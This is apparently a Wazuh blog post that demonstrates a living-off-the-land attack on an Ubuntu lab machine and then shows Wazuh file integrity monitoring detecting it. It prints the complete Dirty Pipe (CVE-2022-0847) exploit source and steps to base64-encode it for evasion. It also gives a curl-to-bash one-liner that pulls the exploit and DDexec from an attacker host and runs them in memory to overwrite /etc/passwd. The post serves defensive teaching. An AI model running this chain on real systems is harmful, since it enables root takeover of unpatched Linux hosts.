Living Off the Land (LOTL) attacks are a cyber threat technique in which attackers leverage existing, legitimate tools and features within an environment to conduct malicious activities. This approach allows attackers to blend in with normal system activity, making detection by conventional security measures more challenging. 

The solution to LOTL attacks is to use a multilayer approach to detection. You need a solution that includes an expanded range of detection capabilities to increase your chances of detecting such attacks. These capabilities may include file-based detection, change-based detection, signature-based detection, anomaly detection, and vulnerability scanning.

Wazuh offers these detection mechanisms using its built-in capabilities and integration options with external platforms. Utilizing these detection mechanisms increases your chances of detecting attacks early on and mitigating them to halt further impact.

Here are a few examples of such detection mechanisms and how Wazuh provides them:

  • Vulnerability scanning systematically examines endpoints for security weaknesses and known vulnerabilities, providing insights and recommendations to mitigate potential risks and enhance security. Wazuh provides this detection capability through its vulnerability detection capability.
  • Change-based detection focuses on monitoring and identifying alterations to critical files and configurations, providing alerts about unauthorized or unexpected modifications. Wazuh provides this detection capability through its file integrity monitoring and security configuration assessment capabilities.
  • Signature-based detection identifies malware and threats by comparing the monitored endpoint data with a database of known threat signatures or patterns, effectively recognizing and blocking previously identified malicious activities. Wazuh achieves this detection mechanism through its malware detection capability.
  • File-based detection refers to the traditional approach of identifying and mitigating malware by scanning and analyzing files on a monitored endpoint for known malicious signatures or behaviors. Wazuh integration with YARA is an example of this detection mechanism.
  • Anomaly detection identifies activities that deviate from established patterns or baselines within endpoint or network behavior, aiming to uncover potential security threats or issues based on these irregularities. Wazuh provides this detection capability by leveraging the OpenSearch Anomaly Detection plugin.

In this blog post, we explore a LOTL attack that uses legitimate tools, such as cURL and the DDexec utility, to perform a stealthy exploit on a Linux-based endpoint. We show how Wazuh can detect suspicious activities that occur from this attack. 

Infrastructure

To demonstrate Wazuh capabilities for detecting the LOTL attack for our use case, we set up the following infrastructure:

  • A pre-built, ready-to-use Wazuh OVA 4.7.3. Follow this guide to download the virtual machine. This endpoint hosts the Wazuh central components (Wazuh server, Wazuh indexer, and Wazuh dashboard).
  • An endpoint with the Ubuntu 21.04 operating system. This endpoint was specifically selected as it includes the Dirty Pipe (CVE-2022-0847) vulnerability we will use for our demonstration. It should also have the gcc program installed. It will have the Wazuh agent 4.7.3 installed and enrolled in the Wazuh server. Refer to the following installation guide to install the Wazuh agent. 
  • A Kali Linux 2024.1 endpoint. Please refer to the official guide for the installation procedure. In this scenario, this endpoint is used to build and host the malicious payload. 

Ubuntu endpoint

Executing the Dirty Pipe exploit in this endpoint requires the GNU Compiler Collection gcc program.

Note: We encountered multiple errors when installing the specific gcc binary needed for this use case. We updated the /etc/apt/sources.list file to ensure our endpoint installs the gcc binary needed for this scenario.

Update the default apt repository using the steps below:

1. Create a backup of the /etc/apt/sources.list file:

# cp /etc/apt/sources.list /etc/apt/sources.list.bkp

2. Replace the /etc/apt/sources.list file with a copy downloaded from the repository using the command below:

# rm /etc/apt/sources.list
# curl https://gist.githubusercontent.com/ph4ge/f375658452beaf44d1c6ecc9c5d6f2bc/raw/9762e59a94368b7c115b494ecf77dfdd231430a7/sources.list -o /etc/apt/sources.list

3. Install gcc using the command below:

# apt update
# apt install gcc -y

Kali Linux endpoint

This endpoint will build and host the malicious exploit code and the DDexec utility to reduce the chances of detection. 

DDexec

DDexec is a utility for executing shellcode and binaries in memory without writing anything to disk. It leverages the dd command in Linux to overwrite a process’s memory for exploitation​.

Follow the steps below to clone the ddexec.sh binary to your endpoint.

1. Clone the repository using the git clone command and change the directory:

# git clone https://github.com/arget13/DDexec.git
# cd DDexec

Dirty Pipe exploit code

1. Create an exploit file dirtypipe.c using the following command:

# nano dirtypipe.c

2. Paste the following code in the exploit file and save it using CTRL + S:

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main(int argc, char **argv)
{
	if (argc != 4) {
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
		return EXIT_FAILURE;
	}

	/* dumb command-line argument parser */
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	printf("You have successfully exploited the Dirty Pipe vulnerability!\n");
	return EXIT_SUCCESS;
}

2. Compile the dirtypipe.c file using the gcc program to make it executable:

# gcc dirtypipe.c -o dirtypipe

3. Convert the exploit file to base64 to obscure its malicious nature and reduce the possibility of being detected:

# base64 dirtypipe -w0 > dirtypipe.b64

4. Run the following commands within the same folder as ddexec.sh and the dirtypipe.b64 exploit code file to start a Python server:

# python3 -m http.server

Attack emulation

Attackers utilizing LOTL techniques will use existing tools and features within the environment to carry out their activities, often to remain undetected. The goal is to have a minimal footprint and avoid introducing foreign executables or files into the endpoint. The technique in this scenario utilizes the DDexec utility to execute Linux binaries without interacting with the endpoint’s disk.

When used with the Dirty Pipe exploit, the DDexec utility allows the execution of arbitrary code or binaries directly to memory with elevated privileges. This method bypasses the need to write malicious binaries or scripts to the disk, allowing the endpoint to use its features (in this case, memory execution capabilities) against itself. This makes this attack increasingly difficult to detect.  Run the following command on your vulnerable Ubuntu 21.04 endpoint.

Replace <KALI_IP_ADDRESS> with the IP address of your Kali Linux endpoint:

# curl <KALI_IP_ADDRESS>:8000/dirtypipe.b64 | bash <(curl <KALI_IP_ADDRESS>:8000/ddexec.sh) /bin/PlaceHolder /etc/passwd 1 0

This command performs several actions in sequence:

  • The first curl command fetches the encoded Dirty Pipe exploit from the attack server.
  • The fetched data is then piped into a bash shell that executes another curl command to fetch the ddexec.sh script.
  • The ddexec.sh script is executed with parameters that include a target placeholder binary /bin/PlaceHolder, the path to the passwd file, and arguments 1 0, whose purpose is to replace the second string in the passwd file with the number “0”.
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

100 22272  100 22272    0     0  1673k      0 --:--:-- --:--:-- --:--:-- 1673k

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

100 20240  100 20240    0     0  1411k      0 --:--:-- --:--:-- --:--:-- 1976k

You have successfully exploited the Dirty Pipe vulnerability!

Detection

This LOTL attack’s technique makes it almost impossible to detect using conventional security solutions. However, this attack modifies the /etc/passwd file, one of the default files monitored by the Wazuh FIM capability. The FIM module runs scans every 12 hours (43200 seconds) by default and detects changes that occur on those files within this timeframe. For you to see these alerts much quicker, you must configure the FIM module to run scans according to your preferred frequency. Please see the FIM scheduled scans documentation for guidance on configuring this.

You can view the alerts for this attack using the Wazuh Security events dashboard.

Living Off the Land Attacks security events

The Wazuh FIM module monitors critical files and directories on the monitored endpoints and alerts administrators to unauthorized changes. It does this by calculating and comparing the hash of a file with its previous state.

Wazuh FIM module

Monitoring for the unauthorized modification of critical files is necessary to forestall system compromise that can lead to data breaches, loss of data control, or full system takeover.

Conclusion

Living Off the Land attacks remind us of how challenging cybersecurity can be, as it utilizes system features against itself. In this blog post, we have demonstrated the ability of Wazuh to detect subtle changes made to endpoints during a stealthy LOTL attack. This use case showed how Wazuh discovers changes made to a monitored file using its file integrity monitoring capability.

Wazuh is a free and open source security platform built with several capabilities to detect and protect your digital assets from attacks, including LOTL. Please join our community to interact with other professionals and learn more about our product.

References